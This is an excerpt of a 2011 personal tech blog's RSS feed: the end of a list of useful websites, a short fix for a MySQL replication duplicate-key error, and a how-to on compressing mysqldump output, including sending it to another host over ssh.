<li><a href="http://www.mailinator.com/">Mailinator</a> &#8211; Disposable email account</li>
<li><a href="http://www.printfriendly.com/">PrintFriendly</a> &#8211; Make webpages printfriendly</li>
<li><a href="http://www.addictivetips.com/">AddictiveTips</a> &#8211; Tech Tips</li>
<li><a href="http://www.easybib.com/">EasyBib</a> &#8211; Bibliography/Citation Maker</li>
<li><a href="http://userscripts.org/">Userscripts</a> &#8211; Customize your browser</li>
<li><a href="http://pipl.com/">Pipl</a> &#8211; Web people search</li>
<li><a href="http://www.readprint.com/">ReadPrint</a> &#8211; Online books</li>
<li><a href="http://www.cramster.com/">Cramster</a> &#8211; Homework help</li>
<li><a href="http://www.shadyurl.com/index.php">ShadyURL</a> &#8211; Create alternative &#8220;shady&#8221; urls</li>
<li><a href="http://www.downforeveryoneorjustme.com/">DownForEveryoneOrJustMe</a> &#8211; Is google.com down?</li>
<li><a href="http://www.dafont.com/">DaFont</a> &#8211; Font database</li>
<li><a href="http://stereomood.com/">StereoMood</a> &#8211; Listen to music depending on emotion</li>
<li><a href="http://www.kaspersky.com/virusscanner">Kapersky</a> &#8211; Online virus scanner</li>
<li><a href="http://www.xtranormal.com/">XtraNormal</a> &#8211; If you can type, you can make a movie</li>
<li><a href="http://www.lipsum.com/">Lipsum</a> &#8211; Create filler text</li>
<li><a href="http://www.coolutils.com/Online/Image-Converter/">CoolUtils Image Converter</a> &#8211; Resize images for avatars</li>
<li><a href="http://dropbox.com/">Dropbox</a> &#8211; Easy file hosting</li>
<li><a href="http://depositfiles.com/">DepositFiles</a> &#8211; Another file hosting resource</li>
<li><a href="http://www.thefinalcost.com/shipments/calculate/">TheFinalCost</a> &#8211; Calculate Shipping totals</li>
<li><a href="http://www.whatthefuckshouldimakefordinner.com/">WhatTheFuckShouldIMakeForDinner</a> &#8211; Fucking hungry?</li>
<li><a href="http://imgur.com/">Imgur</a> &#8211; Best image hosting</li>
<li><a href="http://showrss.karmorra.info/">showRSS</a> &#8211; Automatically torrent your favorite show soon as it&#8217;s available</li>
<li><a href="http://www.google.com/cse?cx=003849996876419856805:erhhdbygrma&amp;ie=UTF-8&amp;q=&amp;sa=Search">Google Torrent Search</a> &#8211; Only display torrents with google search</li>
<li><a href="http://thissongissick.com/blog/">ThisSongIsSick</a> &#8211; New music (hiphop/electronic mostly)</li>
<li><a href="http://www.trackitdown.net/">TrackItDown</a> &#8211; Latest in electronic music</li>
<li><a href="http://topdocumentaryfilms.com/">TopDocumentaryFilms</a> &#8211; Watch free documentaries online</li>
</ul>
<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<a title="Click me to see the sites." href="#" onclick="$$('div.d161').each( function(e) { e.visualEffect('slide_down',{duration:2.5}) }); return false;"><strong><em>Bookmark It</em></strong></a>
<br />
<div class="d161" style="overflow:hidden">
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://buzz.yahoo.com/submit?submitUrl=http%3A%2F%2Fwww.zayinkrige.com%2Fwebsites-that-everyone-should-know%2F&amp;submitHeadline=Websites+that+%2Aeveryone%2A+should+know&amp;submitSummary=" rel="nofollow" title="Add to&nbsp;Buzz"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/buzz.png" title="Add to&nbsp;Buzz" alt="Add to&nbsp;Buzz" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http%3A%2F%2Fwww.zayinkrige.com%2Fwebsites-that-everyone-should-know%2F&amp;title=Websites+that+%2Aeveryone%2A+should+know" rel="nofollow" title="Add to&nbsp;Del.icio.us"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/delicious.png" title="Add to&nbsp;Del.icio.us" alt="Add to&nbsp;Del.icio.us" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.zayinkrige.com%2Fwebsites-that-everyone-should-know%2F&amp;title=Websites+that+%2Aeveryone%2A+should+know" rel="nofollow" title="Add to&nbsp;digg"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/digg.png" title="Add to&nbsp;digg" alt="Add to&nbsp;digg" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.zayinkrige.com%2Fwebsites-that-everyone-should-know%2F" rel="nofollow" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.google.com/bookmarks/mark?op=edit&amp;output=popup&amp;bkmk=http%3A%2F%2Fwww.zayinkrige.com%2Fwebsites-that-everyone-should-know%2F&amp;title=Websites+that+%2Aeveryone%2A+should+know" rel="nofollow" title="Add to&nbsp;Google Bookmarks"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/google.png" title="Add to&nbsp;Google Bookmarks" alt="Add to&nbsp;Google Bookmarks" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.mister-wong.com/index.php?action=addurl&amp;bm_url=http%3A%2F%2Fwww.zayinkrige.com%2Fwebsites-that-everyone-should-know%2F&amp;bm_description=Websites+that+%2Aeveryone%2A+should+know" rel="nofollow" title="Add to&nbsp;Mister Wong"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/misterwong.png" title="Add to&nbsp;Mister Wong" alt="Add to&nbsp;Mister Wong" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.netscape.com/submit/?U=http%3A%2F%2Fwww.zayinkrige.com%2Fwebsites-that-everyone-should-know%2F&amp;T=Websites+that+%2Aeveryone%2A+should+know" rel="nofollow" title="Add to&nbsp;Netscape"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/netscape.png" title="Add to&nbsp;Netscape" alt="Add to&nbsp;Netscape" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fwebsites-that-everyone-should-know%2F&amp;title=Websites+that+%2Aeveryone%2A+should+know" rel="nofollow" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fwebsites-that-everyone-should-know%2F&amp;title=Websites+that+%2Aeveryone%2A+should+know" rel="nofollow" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http%3A%2F%2Fwww.zayinkrige.com%2Fwebsites-that-everyone-should-know%2F" rel="nofollow" title="Add to&nbsp;Technorati"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/technorati.png" title="Add to&nbsp;Technorati" alt="Add to&nbsp;Technorati" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://tipd.com/submit.php?url=http%3A%2F%2Fwww.zayinkrige.com%2Fwebsites-that-everyone-should-know%2F" rel="nofollow" title="Add to&nbsp;Tip'd"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/tipd.png" title="Add to&nbsp;Tip'd" alt="Add to&nbsp;Tip'd" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://twitter.com/home/?status=Check+out+Websites+that+%2Aeveryone%2A+should+know+@+http%3A%2F%2Fwww.zayinkrige.com%2Fwebsites-that-everyone-should-know%2F" rel="nofollow" title="Add to&nbsp;Twitter"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/twitter.png" title="Add to&nbsp;Twitter" alt="Add to&nbsp;Twitter" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.zayinkrige.com%2Fwebsites-that-everyone-should-know%2F&amp;t=Websites+that+%2Aeveryone%2A+should+know" rel="nofollow" title="Add to&nbsp;Yahoo My Web"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/yahoo.png" title="Add to&nbsp;Yahoo My Web" alt="Add to&nbsp;Yahoo My Web" /></a>
<br />
<a style="font-size:90%;text-align: right; " title="Click me to hide the sites." href="#" onclick="$$('div.d161').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); return false;">Hide Sites</a>
</div>
</div>
<!-- Social Bookmarks END -->
<script type="text/javascript">$$('div.d161').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); </script>]]></content:encoded>
			<wfw:commentRss>http://www.zayinkrige.com/websites-that-everyone-should-know/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Fixing MySQL replication error: Duplicate entry for key</title>
		<link>http://www.zayinkrige.com/fixing-mysql-replication-error-duplicate-entry-for-key/</link>
		<comments>http://www.zayinkrige.com/fixing-mysql-replication-error-duplicate-entry-for-key/#comments</comments>
		<pubDate>Fri, 18 Feb 2011 12:04:45 +0000</pubDate>
		<dc:creator>Zayin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.zayinkrige.com/?p=156</guid>
		<description><![CDATA[I have encountered this error, which to my surprise occurred on a slave database. mysql> SHOW SLAVE STATUS\G error &#8216;Duplicate entry &#8217;4534534&#8242; for key 1&#8242; on query &#8216; INSERT INTO customer_history (DateStamp) VALUES (NOW()) solution : mysql> set global sql_slave_skip_counter = 1; Query OK, 0 rows affected (0.01 sec) mysql> slave start; Query OK, 0 [...]]]></description>
			<content:encoded><![CDATA[<p>I have encountered this error, which to my surprise occurred on a slave database.</p>
<p>mysql> SHOW SLAVE STATUS\G</p>
<p>error &#8216;Duplicate entry &#8217;4534534&#8242; for key 1&#8242; on query &#8216; INSERT INTO customer_history (DateStamp) VALUES (NOW())</p>
<p>solution :</p>
<p>mysql> set global sql_slave_skip_counter = 1;<br />
Query OK, 0 rows affected (0.01 sec)</p>
<p>mysql> slave start;<br />
Query OK, 0 rows affected (0.00 sec)</p>
<p>This will skip the error and continue replicating from the master</p>
<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<a title="Click me to see the sites." href="#" onclick="$$('div.d156').each( function(e) { e.visualEffect('slide_down',{duration:2.5}) }); return false;"><strong><em>Bookmark It</em></strong></a>
<br />
<div class="d156" style="overflow:hidden">
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://buzz.yahoo.com/submit?submitUrl=http%3A%2F%2Fwww.zayinkrige.com%2Ffixing-mysql-replication-error-duplicate-entry-for-key%2F&amp;submitHeadline=Fixing+MySQL+replication+error%3A+Duplicate+entry+for+key&amp;submitSummary=" rel="nofollow" title="Add to&nbsp;Buzz"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/buzz.png" title="Add to&nbsp;Buzz" alt="Add to&nbsp;Buzz" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http%3A%2F%2Fwww.zayinkrige.com%2Ffixing-mysql-replication-error-duplicate-entry-for-key%2F&amp;title=Fixing+MySQL+replication+error%3A+Duplicate+entry+for+key" rel="nofollow" title="Add to&nbsp;Del.icio.us"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/delicious.png" title="Add to&nbsp;Del.icio.us" alt="Add to&nbsp;Del.icio.us" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.zayinkrige.com%2Ffixing-mysql-replication-error-duplicate-entry-for-key%2F&amp;title=Fixing+MySQL+replication+error%3A+Duplicate+entry+for+key" rel="nofollow" title="Add to&nbsp;digg"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/digg.png" title="Add to&nbsp;digg" alt="Add to&nbsp;digg" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.zayinkrige.com%2Ffixing-mysql-replication-error-duplicate-entry-for-key%2F" rel="nofollow" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.google.com/bookmarks/mark?op=edit&amp;output=popup&amp;bkmk=http%3A%2F%2Fwww.zayinkrige.com%2Ffixing-mysql-replication-error-duplicate-entry-for-key%2F&amp;title=Fixing+MySQL+replication+error%3A+Duplicate+entry+for+key" rel="nofollow" title="Add to&nbsp;Google Bookmarks"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/google.png" title="Add to&nbsp;Google Bookmarks" alt="Add to&nbsp;Google Bookmarks" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.mister-wong.com/index.php?action=addurl&amp;bm_url=http%3A%2F%2Fwww.zayinkrige.com%2Ffixing-mysql-replication-error-duplicate-entry-for-key%2F&amp;bm_description=Fixing+MySQL+replication+error%3A+Duplicate+entry+for+key" rel="nofollow" title="Add to&nbsp;Mister Wong"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/misterwong.png" title="Add to&nbsp;Mister Wong" alt="Add to&nbsp;Mister Wong" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.netscape.com/submit/?U=http%3A%2F%2Fwww.zayinkrige.com%2Ffixing-mysql-replication-error-duplicate-entry-for-key%2F&amp;T=Fixing+MySQL+replication+error%3A+Duplicate+entry+for+key" rel="nofollow" title="Add to&nbsp;Netscape"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/netscape.png" title="Add to&nbsp;Netscape" alt="Add to&nbsp;Netscape" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Ffixing-mysql-replication-error-duplicate-entry-for-key%2F&amp;title=Fixing+MySQL+replication+error%3A+Duplicate+entry+for+key" rel="nofollow" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Ffixing-mysql-replication-error-duplicate-entry-for-key%2F&amp;title=Fixing+MySQL+replication+error%3A+Duplicate+entry+for+key" rel="nofollow" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http%3A%2F%2Fwww.zayinkrige.com%2Ffixing-mysql-replication-error-duplicate-entry-for-key%2F" rel="nofollow" title="Add to&nbsp;Technorati"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/technorati.png" title="Add to&nbsp;Technorati" alt="Add to&nbsp;Technorati" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://tipd.com/submit.php?url=http%3A%2F%2Fwww.zayinkrige.com%2Ffixing-mysql-replication-error-duplicate-entry-for-key%2F" rel="nofollow" title="Add to&nbsp;Tip'd"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/tipd.png" title="Add to&nbsp;Tip'd" alt="Add to&nbsp;Tip'd" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://twitter.com/home/?status=Check+out+Fixing+MySQL+replication+error%3A+Duplicate+entry+for+key+@+http%3A%2F%2Fwww.zayinkrige.com%2Ffixing-mysql-replication-error-duplicate-entry-for-key%2F" rel="nofollow" title="Add to&nbsp;Twitter"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/twitter.png" title="Add to&nbsp;Twitter" alt="Add to&nbsp;Twitter" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.zayinkrige.com%2Ffixing-mysql-replication-error-duplicate-entry-for-key%2F&amp;t=Fixing+MySQL+replication+error%3A+Duplicate+entry+for+key" rel="nofollow" title="Add to&nbsp;Yahoo My Web"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/yahoo.png" title="Add to&nbsp;Yahoo My Web" alt="Add to&nbsp;Yahoo My Web" /></a>
<br />
<a style="font-size:90%;text-align: right; " title="Click me to hide the sites." href="#" onclick="$$('div.d156').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); return false;">Hide Sites</a>
</div>
</div>
<!-- Social Bookmarks END -->
<script type="text/javascript">$$('div.d156').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); </script>]]></content:encoded>
			<wfw:commentRss>http://www.zayinkrige.com/fixing-mysql-replication-error-duplicate-entry-for-key/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gzip mysqldump output and gunzip it for import</title>
		<link>http://www.zayinkrige.com/gzip-mysqldump-output-and-gunzip-it-for-import/</link>
		<comments>http://www.zayinkrige.com/gzip-mysqldump-output-and-gunzip-it-for-import/#comments</comments>
		<pubDate>Wed, 16 Feb 2011 11:29:10 +0000</pubDate>
		<dc:creator>Zayin</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.zayinkrige.com/?p=154</guid>
		<description><![CDATA[Pretty straightforward To compress mysqldump output : ?View Code BASHmysqldump -uroot -psome_password db_name&#124; gzip -c &#62; db_name.gz or alternatively, to compress it to a file on another host ?View Code BASHmysqldump -uroot -psome_password dbname &#124; gzip -c &#124; ssh user@host -p22 'cat &#62; /root/db_name.sql.gz' To restore a database from a compressed file ?View Code BASHgunzip [...]]]></description>
			<content:encoded><![CDATA[<p>Pretty straightforward</p>
<p>To compress mysqldump output :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p154code10'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p15410"><td class="code" id="p154code10"><pre class="bash" style="font-family:monospace;">mysqldump <span style="color: #660033;">-uroot</span> -psome_password db_name<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">gzip</span> <span style="color: #660033;">-c</span> <span style="color: #000000; font-weight: bold;">&gt;</span> db_name.gz</pre></td></tr></table></div>

<p>or alternatively, to compress it to a file on another host</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p154code11'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p15411"><td class="code" id="p154code11"><pre class="bash" style="font-family:monospace;">mysqldump <span style="color: #660033;">-uroot</span> -psome_password dbname <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">gzip</span> <span style="color: #660033;">-c</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">ssh</span> user<span style="color: #000000; font-weight: bold;">@</span>host <span style="color: #660033;">-p22</span> <span style="color: #ff0000;">'cat &gt; /root/db_name.sql.gz'</span></pre></td></tr></table></div>

<p>To restore a database from a compressed file</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p154code12'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p15412"><td class="code" id="p154code12"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">gunzip</span> <span style="color: #000000; font-weight: bold;">&lt;</span> db_name.gz <span style="color: #000000; font-weight: bold;">|</span> mysql <span style="color: #660033;">-uroot</span> -psome_password db_name</pre></td></tr></table></div>

<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<a title="Click me to see the sites." href="#" onclick="$$('div.d154').each( function(e) { e.visualEffect('slide_down',{duration:2.5}) }); return false;"><strong><em>Bookmark It</em></strong></a>
<br />
<div class="d154" style="overflow:hidden">
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://buzz.yahoo.com/submit?submitUrl=http%3A%2F%2Fwww.zayinkrige.com%2Fgzip-mysqldump-output-and-gunzip-it-for-import%2F&amp;submitHeadline=Gzip+mysqldump+output+and+gunzip+it+for+import&amp;submitSummary=" rel="nofollow" title="Add to&nbsp;Buzz"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/buzz.png" title="Add to&nbsp;Buzz" alt="Add to&nbsp;Buzz" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http%3A%2F%2Fwww.zayinkrige.com%2Fgzip-mysqldump-output-and-gunzip-it-for-import%2F&amp;title=Gzip+mysqldump+output+and+gunzip+it+for+import" rel="nofollow" title="Add to&nbsp;Del.icio.us"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/delicious.png" title="Add to&nbsp;Del.icio.us" alt="Add to&nbsp;Del.icio.us" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.zayinkrige.com%2Fgzip-mysqldump-output-and-gunzip-it-for-import%2F&amp;title=Gzip+mysqldump+output+and+gunzip+it+for+import" rel="nofollow" title="Add to&nbsp;digg"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/digg.png" title="Add to&nbsp;digg" alt="Add to&nbsp;digg" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.zayinkrige.com%2Fgzip-mysqldump-output-and-gunzip-it-for-import%2F" rel="nofollow" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.google.com/bookmarks/mark?op=edit&amp;output=popup&amp;bkmk=http%3A%2F%2Fwww.zayinkrige.com%2Fgzip-mysqldump-output-and-gunzip-it-for-import%2F&amp;title=Gzip+mysqldump+output+and+gunzip+it+for+import" rel="nofollow" title="Add to&nbsp;Google Bookmarks"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/google.png" title="Add to&nbsp;Google Bookmarks" alt="Add to&nbsp;Google Bookmarks" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.mister-wong.com/index.php?action=addurl&amp;bm_url=http%3A%2F%2Fwww.zayinkrige.com%2Fgzip-mysqldump-output-and-gunzip-it-for-import%2F&amp;bm_description=Gzip+mysqldump+output+and+gunzip+it+for+import" rel="nofollow" title="Add to&nbsp;Mister Wong"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/misterwong.png" title="Add to&nbsp;Mister Wong" alt="Add to&nbsp;Mister Wong" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.netscape.com/submit/?U=http%3A%2F%2Fwww.zayinkrige.com%2Fgzip-mysqldump-output-and-gunzip-it-for-import%2F&amp;T=Gzip+mysqldump+output+and+gunzip+it+for+import" rel="nofollow" title="Add to&nbsp;Netscape"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/netscape.png" title="Add to&nbsp;Netscape" alt="Add to&nbsp;Netscape" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fgzip-mysqldump-output-and-gunzip-it-for-import%2F&amp;title=Gzip+mysqldump+output+and+gunzip+it+for+import" rel="nofollow" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fgzip-mysqldump-output-and-gunzip-it-for-import%2F&amp;title=Gzip+mysqldump+output+and+gunzip+it+for+import" rel="nofollow" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http%3A%2F%2Fwww.zayinkrige.com%2Fgzip-mysqldump-output-and-gunzip-it-for-import%2F" rel="nofollow" title="Add to&nbsp;Technorati"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/technorati.png" title="Add to&nbsp;Technorati" alt="Add to&nbsp;Technorati" /></a>
<br />
